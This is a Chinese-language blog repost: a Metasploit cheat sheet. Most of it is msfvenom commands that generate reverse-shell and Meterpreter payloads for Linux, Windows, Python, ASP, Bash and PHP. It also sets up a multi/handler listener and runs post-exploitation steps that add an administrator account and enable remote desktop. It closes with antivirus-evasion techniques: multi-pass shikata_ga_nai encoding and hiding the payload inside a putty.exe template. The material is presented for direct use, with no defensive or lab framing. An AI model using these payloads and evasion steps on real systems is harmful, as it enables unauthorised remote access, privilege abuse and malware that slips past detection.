Msf小结

Msfvenom是有效负载生成和编码的组合。

生成攻击载荷

Linux下反弹Meterpreter shell

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell

C反弹shell

1
msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c

Python反弹shell

1
msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py

Asp反弹shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

Bash反弹shell

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

PHP反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php

Windows反弹shell

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

64位系统要加x64

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Windows提权

第一步生成Windows攻击载荷

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=本机IP -f exe >/home/shell.exe

第二步MSF监听

1
2
3
4
5
6
use exploit/multi/handler                       //设置模块
set payload windows/meterpreter/reverse_tcp //配置payload
show options //显示选项
set LHOST 本机IP //设置ip地址,注意,这个要与上面攻击载荷里面的相同
set LPORT 端口 //设置端口,这个也要相同
exploit //执行攻击

第三步提权

1
2
3
4
5
6
7
shell              //进入终端
net user //查看用户
net user admin admin /add //创建一个admin用户
net localgroup administrators admin /add //提权
net user admin //admin用户的信息
exit //退出bash终端
run getgui -e //开启3389端口

第四步开启远程连接

1
2
3
4
开启远程桌面
run post/windows/manage/enable_rdp
连接
rdesktop -u 用户名 -p 密码

免杀

多次编码免杀

1
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe

自定义二进制代码的文件模板免杀

1
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe

转载于:https://www.cnblogs.com/ihacker/p/11420661.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值